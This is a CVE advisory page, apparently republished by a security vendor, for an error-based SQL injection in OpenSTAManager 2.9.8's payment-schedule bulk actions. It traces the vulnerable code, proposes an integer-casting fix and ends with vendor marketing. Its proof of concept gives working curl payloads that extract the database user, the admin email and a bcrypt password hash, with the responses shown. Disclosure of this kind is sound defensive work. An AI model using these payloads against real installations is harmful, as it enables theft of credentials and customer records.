CVE-2026-24418

CVE-2026-24418 is a high-severity SQL injection vulnerability in devcode-it/openstamanager (composer), affecting versions <= 2.9.8. No fixed version is listed yet.

Summary

Critical Error-Based SQL Injection vulnerability in the Scadenzario (Payment Schedule) bulk operations module of OpenSTAManager v2.9.8 allows authenticated attackers to extract complete database contents including user credentials, customer PII, and financial records through XML error messages.

Status: ✅ Confirmed and tested on live instance (v2.9.8)
Vulnerable Parameter: id_records[] (POST array)
Affected Endpoint: /actions.php?id_module=18 (Scadenzario module)
Attack Type: Error-Based SQL Injection (IN clause)

Details

OpenSTAManager v2.9.8 contains a critical Error-Based SQL Injection vulnerability in the bulk operations handler for the Scadenzario (Payment Schedule) module. The application fails to validate that elements of the id_records array are integers before using them in an SQL IN() clause, allowing attackers to inject arbitrary SQL commands and extract sensitive data through XPATH error messages.

Vulnerability Chain:

  1. Entry Point: /actions.php (Lines 503-506)

    $id_records = post('id_records');
    $id_records = is_array($id_records) ? $id_records : explode(';', $id_records);
    $id_records = array_clean($id_records);
    $id_records = array_unique($id_records);
    

    The array_clean() function only removes empty values - it does NOT validate types.

  2. Vulnerable Function: /lib/util.php (Lines 54-60)

    function array_clean($array)
    {
        if (!empty($array)) {
            return array_unique(array_values(array_filter($array, fn ($value) => !empty($value))));
        }
    }
    

    Impact: The function filters out empty values but accepts any non-empty value, including SQL Injection payloads.

  3. SQL Injection Point: /modules/scadenzario/bulk.php (Line 88) PRIMARY VULNERABILITY

    $scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
    

    Impact: Array elements from $id_records are directly concatenated using implode() without type validation or prepare(), enabling full SQL Injection.

Root Cause Analysis:

The vulnerability exists because:

  1. post('id_records') returns user-controlled array
  2. array_clean() only removes empty values, not non-integer values
  3. implode(',', $id_records) concatenates array elements directly into SQL
  4. No validation ensures array elements are integers
  5. Attacker can inject SQL by providing: id_records[]=1&id_records[]=(MALICIOUS SQL)#

Affected Code Path:

POST /actions.php?id_module=18
  ↓
actions.php:503 - $id_records = post('id_records')
  ↓
actions.php:505 - $id_records = array_clean($id_records) [NO TYPE VALIDATION]
  ↓
actions.php:509 - include 'modules/scadenzario/bulk.php'
  ↓
bulk.php:88 - WHERE id IN ('.implode(',', $id_records).') [INJECTION POINT]

PoC

Step 1: Login

curl -c cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
  -d 'username=admin&password=admin'

Step 2: Verify Vulnerability (Error-Based SQL Injection)

Test 1: Extract Database User and Version

curl -b cookies.txt \
  -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(USER(),' | ',VERSION()))))%23" \
  "http://localhost:8081/actions.php?id_module=18"

Response (error message visible to attacker):

<code>XPATH syntax error: '~osm@localhost | 8.0.40-0ubuntu0.22.04.1'</code>

Test 2: Extract Admin Credentials

curl -b cookies.txt \
  -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(username,':',email) FROM zz_users LIMIT 1)))%23" \
  "http://localhost:8081/actions.php?id_module=18"

Response:

<code>XPATH syntax error: '~admin:[email protected]'</code>

Test 3: Extract Password Hash (Part 1 - first 31 chars)

curl -b cookies.txt \
  -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,1,31) FROM zz_users LIMIT 1)))%23" \
  "http://localhost:8081/actions.php?id_module=18"

Response:

<code>XPATH syntax error: '~$2y$10$UUPECY1DhQXm2pGEq/UNAeMd'</code>

Test 4: Extract Password Hash (Part 2 - chars 32-60)

curl -b cookies.txt \
  -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,32,60) FROM zz_users LIMIT 1)))%23" \
  "http://localhost:8081/actions.php?id_module=18"

Response:

<code>XPATH syntax error: '~SoqiRNefN.G9fYMVnCRcvmG0BnwTK'</code>

Combined Password Hash:

$2y$10$UUPECY1DhQXm2pGEq/UNAeMdSoqiRNefN.G9fYMVnCRcvmG0BnwTK

File: /modules/scadenzario/bulk.php

BEFORE (Vulnerable - Line 88):

$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');

AFTER (Fixed):

// Validate that all array elements are integers
$id_records = array_map('intval', $id_records);
$id_records = array_filter($id_records, fn($id) => $id > 0); // Remove zero/negative IDs

$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');

Credits

Discovered by Łukasz Rybak

Impact

**All authenticated users with access to the Scadenzario (Payment Schedule) module bulk operations.

Recommended Fix:

Primary Fix - Type Validation:

Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access. Typical impact: data disclosure or modification.

Affected versions

devcode-it/openstamanager (<= 2.9.8)

Security releases

Not available

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

No fixed version is listed for CVE-2026-24418 yet.

In the interim: Use parameterized queries or prepared statements so user input is always treated as data, never as SQL syntax.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-24418? CVE-2026-24418 is a high-severity SQL injection vulnerability in devcode-it/openstamanager (composer), affecting versions <= 2.9.8. No fixed version is listed yet. Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access.
  2. Which versions of devcode-it/openstamanager are affected by CVE-2026-24418? devcode-it/openstamanager (composer) versions <= 2.9.8 is affected.
  3. Is there a fix for CVE-2026-24418? No fixed version is listed for CVE-2026-24418 yet. Monitor the advisory for updates and apply mitigations in the interim.
  4. Is CVE-2026-24418 exploitable, and should I be worried? Whether CVE-2026-24418 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2026-24418 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2026-24418? No fixed version is listed yet. In the interim: Use parameterized queries or prepared statements so user input is always treated as data, never as SQL syntax.

Other vulnerabilities in devcode-it/openstamanager

CVE-2026-35470CVE-2026-35168CVE-2026-29782CVE-2026-28805CVE-2026-27012

Stop the waste.
Protect your environment with Kodem.